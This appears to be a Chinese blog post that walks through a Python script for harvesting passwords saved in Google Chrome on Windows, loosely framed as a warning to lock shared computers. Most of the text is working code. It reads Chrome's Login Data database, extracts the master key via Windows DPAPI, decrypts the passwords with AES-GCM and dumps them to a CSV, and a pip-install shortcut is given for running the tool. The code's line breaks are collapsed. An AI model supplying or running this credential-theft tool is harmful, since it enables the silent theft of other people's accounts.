当前位置: 首页 > news >正文

盗号不是只有黑客才能到,一枚普通的Python程序员也可以!

前言

很多人觉得盗号都很牛逼,很厉害,这肯定是一枚黑客程序员,那么事实真是如此吗?

其实到要弄到账号密码很简单,一般很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~当然现在盗号啥的也并没啥卵用,以前我上次初中那会,去黑网吧玩,那时候还是玩的DNF刷一夜能得一点金币,结果第二天去的时候就一个剑魂上面留了把木棍!我相信很多男生应该和我一样有过相同的经历把!所以今天给大家算是提个醒把!

编辑

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

编辑

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'client = sqlite3.connect(dbpath)cursor = client.cursor()with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:cursor.execute(sql)csv_writer = csv.writer(csv_file, dialect=('excel'))if not self.write_heads_flag:csv_writer.writerow(self.csv_heads)self.write_heads_flag = Trueinfo = []for row in cursor.fetchall():for idx in range(len(self.csv_heads)):if isinstance(row[idx], bytes):info.append(self.decrypt(row[idx], master_key))else:info.append(row[idx])csv_writer.writerow(info)info = []cursor.close()client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

编辑

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):import win32cryptwith open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:local_state = fp.read()local_state = json.loads(local_state)master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])master_key = master_key[5:]master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):print(value)if value[:3] == b'v10':from Crypto.Cipher import AESiv, payload = value[3:15], value[15:]cipher = AES.new(master_key, AES.MODE_GCM, iv)decrypted_value = cipher.decrypt(payload)decrypted_value = decrypted_value[:-16].decode()else:import win32cryptdecrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()return decrypted_value

解码之后的运行效果结果如下:

编辑

获得的结果默认保存在results.csv中,截图如下:

编辑

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools
#关注公众号:Python源码 领取完整代码tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

是不是非常简单,如果你是什么都不懂得小白,那确实男上加男!哈哈哈

http://www.xdnf.cn/news/794737.html

相关文章:

  • 正规好用的电脑端抽奖软件有哪些?
  • 实验吧-密码学(三)
  • 教师一定要看的15部电影
  • LINUX下的SD卡分区
  • 基于ASP.NET的教学管理系统设计与实现(源码+数据库+部署)
  • 计算机提示d3dx9_43.dll丢失怎么解决,全面解析多种解决方法
  • WEB2.0的特点、原则和设计模式
  • 基于matlab基本放大电路仿真,基于MATLAB的控制器仿真
  • 彩虹显IP 后两位星号 解决方案 全显IP
  • [知乎]关于WindowsXPx64SP2系统的说明
  • FLASH常见问题
  • 学术-几何:黑森错觉
  • java-23种设计模式概述【软件设计模式基本介绍(是什么、作用、优点)、模式的分类和介绍】
  • Windows11系统mshwstaging.dll文件丢失问题
  • 盘点那些年我们一起玩过的网络安全工具
  • Arduino简介与基础指令
  • 动态规划算法(背包问题)
  • 较为深入的了解c++中的string类(1)
  • V.24;V.35;ISDN;E1…
  • Linux下的SecureCRT
  • 5 mysql 凤舞天骄_凤舞天骄私服服务端菜鸟架设步步走
  • 金蝶K3运行时错误-2147467238(8000401a)Automation错误
  • 配色色卡资源整理
  • 盘点Windows10系统的使用小技巧三 —— 虚拟桌面
  • 彻底卸载SqlServer2008R2
  • linux下查看文件
  • React-Native集成极光推送(Android和IOS)
  • AVR Mega16的熔丝位用法总结
  • 如何安装xvidcore
  • 《密码爆破漏洞详解》——黑客必修的入门操作( 建议收藏 )